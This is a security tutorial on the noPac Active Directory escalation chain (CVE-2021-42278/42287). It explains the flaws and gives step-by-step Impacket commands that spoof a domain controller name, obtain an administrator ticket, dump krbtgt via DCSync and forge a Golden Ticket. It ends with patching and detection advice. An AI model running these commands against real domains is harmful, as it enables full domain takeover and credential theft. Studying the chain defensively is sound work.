sAMAccountName Spoofing: noPac (CVE-2021-42278 / CVE-2021-42287)

sAMAccountName Spoofing: noPac (CVE-2021-42278 / CVE-2021-42287) - article cover image Active Directory
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

noPac — also called *sAMAccountName spoofing* or *SamAccountName impersonation* — is the chained abuse of CVE-2021-42278 and CVE-2021-42287, two flaws in how Active Directory validated and resolved account names. Taken together they let a completely unprivileged domain user escalate to a Domain Admin-equivalent service ticket on a domain controller in a matter of seconds, with nothing more than the ability to create a computer account — a right that ordinary users hold by default.

The attack is dangerous precisely because its prerequisites are so mundane. The default ms-DS-MachineAccountQuota of 10 means any authenticated user can join up to ten computer accounts to the domain, and that single primitive is the seed of the whole chain. noPac requires no Kerberoastable service, no delegation misconfiguration, and no ACL weakness — just an unpatched domain controller and a valid low-privilege credential. That is why it became one of the most impactful AD findings of 2021 and remains a first-check item on internal assessments.

Attack Prerequisites

noPac chains two bugs, but the operational requirements are minimal:

  • Any valid domain account (user or computer) — no special privileges are needed.
  • ms-DS-MachineAccountQuota > 0 (default 10) so the attacker can create a computer account, or an existing machine account the attacker already controls whose SPNs and sAMAccountName can be edited.
  • A domain controller missing the November 2021 patches (KB5008102, KB5008380, KB5008602) that fixed both CVEs.
  • Network access to the DC for Kerberos (88) and LDAP (389). The target service SPN for the final ticket is typically a cifs/, ldap/, or host/ SPN on the DC.

How It Works

CVE-2021-42278 is a validation failure. By convention, machine account sAMAccountName values end in a trailing $ (e.g. DC01$). The directory was supposed to enforce naming rules on these objects, but it did not properly prevent a computer account from being renamed to a value that collides with another account — including a domain controller’s name without the trailing dollar sign (e.g. DC01). An attacker who controls a machine account can therefore rename it to impersonate the *name* of a DC.

CVE-2021-42287 is a PAC/resolution confusion in the KDC’s S4U2self handling. When a service ticket is requested and the KDC cannot find the account named in the ticket, it retries the lookup by appending a $ to the name. This fallback is the trap. If the attacker requests a TGT while their machine account is named DC01, then *renames the account back* to its original name, the TGT still references DC01. When that TGT is used in an S4U2self request, the KDC looks for DC01, fails (the attacker renamed it away), appends $, finds the real DC01$ domain controller account, and happily issues a service ticket whose PAC describes the powerful DC machine account.

The elegance — and the danger — is that each bug is individually modest, but composed they convert ‘can create a computer object’ into ‘hold a ticket that authenticates as a domain controller.’ From there the operator pivots straight into DCSync, dumping the krbtgt hash and every domain credential, which is effectively full domain dominance.

Vulnerable Code / Configuration

The first enabler is the machine account quota. Any domain that leaves the default in place hands every user the ability to create the pivot account:

# Read the domain-wide machine account quota (default: 10)
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) `
  -Properties ms-DS-MachineAccountQuota

# ms-DS-MachineAccountQuota : 10   <-- any user can create up to 10 computer accounts
PowerShell

The second enabler is simply an unpatched KDC. The tell is the build number of the DC’s OS predating the November 2021 rollup. The attacker-created computer object is an ordinary one, but two of its attributes are weaponized — its servicePrincipalName set (which must be cleared so the renamed account does not collide on SPNs) and its sAMAccountName (which is set to a DC’s name, then reverted):

# The attacker-controlled pivot account, mid-attack:
objectClass:            computer
sAMAccountName:         DC01           # step: renamed to collide with the real DC name
servicePrincipalName:   <cleared>      # SPNs removed so no HOST/RestrictedKrbHost clash
userAccountControl:     WORKSTATION_TRUST_ACCOUNT (0x1000)

# The real target the KDC resolves to after appending '$':
sAMAccountName:         DC01$          # genuine domain controller machine account
TEXT

Note the SPN clearing step: a freshly created computer account carries default SPNs such as HOST/NAME and RestrictedKrbHost/NAME. If those remain when the account is renamed to DC01, they collide with the real DC’s SPNs and the rename or ticket request fails, so the attack tooling strips them first.

Walkthrough / Exploitation

Impacket ships noPac.py (historically sam_the_admin.py) which automates the entire chain end to end. A single invocation creates the machine account, renames it, requests the TGT, renames it back, performs S4U2self, and can drop straight into a SYSTEM shell or secretsdump on the DC:

# One-shot: scan for the vuln and pop a shell as the DC's SYSTEM
noPac.py corp.local/lowpriv:'Passw0rd!' -dc-ip 10.0.0.10 \
  -dc-host DC01 -shell --impersonate administrator

# Or request a cifs ticket for secretsdump instead of a shell:
noPac.py corp.local/lowpriv:'Passw0rd!' -dc-ip 10.0.0.10 \
  -dc-host DC01 --impersonate administrator \
  -dump -just-dc-user corp.local/krbtgt
Bash

Understanding the chain matters more than the one-liner, so here is the manual sequence. First, create the pivot computer account (this consumes one unit of the machine account quota) and clear its SPNs:

# 1) Create a computer account with a known password
addcomputer.py -computer-name 'EVILPC$' -computer-pass 'Evil123!' \
  -dc-ip 10.0.0.10 corp.local/lowpriv:'Passw0rd!'

# 2) Strip the default SPNs so the later rename does not collide
addspn.py -u corp.local\\lowpriv -p 'Passw0rd!' \
  -t 'EVILPC$' -c DC01.corp.local  # (tooling clears/sets SPNs on the object)
Bash

Next, rename the machine account’s sAMAccountName to match the DC (no trailing $), then request a TGT while it carries that name:

# 3) Rename EVILPC$ -> DC01 (CVE-2021-42278: name-collision not blocked)
renameMachine.py -current-name 'EVILPC$' -new-name 'DC01' \
  -dc-ip 10.0.0.10 corp.local/lowpriv:'Passw0rd!'

# 4) Ask for a TGT for account 'DC01' (the spoofed name)
getTGT.py corp.local/'DC01':'Evil123!' -dc-ip 10.0.0.10
export KRB5CCNAME=DC01.ccache
Bash

Now rename the account back so the KDC’s $-append fallback resolves to the *real* DC, and perform S4U2self to obtain a service ticket impersonating a Domain Admin:

# 5) Rename DC01 -> EVILPC$ again (so 'DC01' no longer exists as-is)
renameMachine.py -current-name 'DC01' -new-name 'EVILPC$' \
  -dc-ip 10.0.0.10 corp.local/lowpriv:'Passw0rd!'

# 6) CVE-2021-42287: S4U2self with the DC01 TGT -> KDC appends '$' -> DC01$
getST.py -self -impersonate 'administrator' \
  -spn 'cifs/DC01.corp.local' -k -no-pass -dc-ip 10.0.0.10 corp.local/'DC01'
export KRB5CCNAME=administrator@cifs_DC01.corp.local.ccache
Bash

The resulting cifs/DC01 ticket authenticates as administrator against the domain controller. The natural next step is credential extraction, which is where noPac becomes domain dominance: with SYSTEM-level access to the DC (or a cifs/ldap ticket) the operator runs a DCSync to pull the krbtgt key and any account’s hash:

# 7) DCSync with the impersonated ticket -> pull krbtgt + admin hashes
secretsdump.py -k -no-pass DC01.corp.local -just-dc-user corp.local/krbtgt

# With krbtgt in hand, forge a Golden Ticket for durable, domain-wide access:
ticketer.py -nthash <KRBTGT_NTHASH> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
Bash

Note: The two CVEs can be exploited independently, but the classic noPac chain composes them. If the DC is patched against 42287 but not 42278, or vice versa, the full name-confusion trick breaks. Also, if the machine account quota is 0, an attacker without an existing controllable machine account cannot seed the pivot — which is why lowering the quota is a meaningful hardening step even on unpatched hosts.

Opsec: The rename-then-rename-back dance is noisy: it generates account-management events for each change. noPac.py performs the whole sequence in seconds, so a burst of create/rename/rename events on one object, immediately followed by an S4U2self and a DC replication (DCSync) from a non-DC host, is a high-fidelity signal. Cleaning up the created computer account afterward reduces but does not erase the trail.

Detection and Defense

Patching is the definitive fix; the rest is defense in depth and detection engineering:

  • Install the November 2021 updates (KB5008102, KB5008380, KB5008602) on every domain controller. Post-patch, a machine account renamed to collide with a DC name is rejected.
  • Set ms-DS-MachineAccountQuota to 0 and delegate computer-join rights explicitly to a provisioning group. This removes the default pivot primitive for ordinary users.
  • Alert on Event ID 4741 (computer account created) by non-provisioning users, and on 4781 (the name of an account was changed) for computer objects — especially a rename to a value matching an existing DC’s name.
  • Correlate 4768/4769 (TGT / service-ticket requests) where the sAMAccountName in the request lacks the trailing $ but resolves to a machine account, and flag S4U2self activity impersonating privileged users.
  • Watch for DCSync from non-DC source hosts — Directory Replication (4662 with the DS-Replication-Get-Changes GUIDs) originating from a workstation is a strong post-exploitation indicator regardless of how the DC ticket was obtained.

Real-World Impact

noPac was disclosed in December 2021 and immediately weaponized; public PoCs (Cube0x0’s noPac/sam_the_admin and the Impacket integration) made it trivial to run, and it was folded into standard internal-assessment playbooks within weeks. Its severity is a direct consequence of chaining: the entry cost is a single ordinary domain credential — the kind obtained from a phishing foothold, an LLMNR poisoning capture, or a low-value service account — and the exit state is krbtgt. Because so many environments lagged on DC patching and left the machine account quota at its default, noPac remained a reliable one-shot domain-takeover technique across countless engagements well into the following years.

Conclusion

noPac is a textbook demonstration of how two ‘minor’ validation gaps compose into total compromise. A naming rule that was not enforced, plus a KDC fallback that appended a $ to an unresolved name, turned the everyday ability to join a computer into a path to the domain’s crown jewels. Patch domain controllers, drive ms-DS-MachineAccountQuota to zero, watch for anomalous computer-account creation and renames, and treat any DC-sourced replication from a workstation as an incident — and the chain collapses at its first link.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL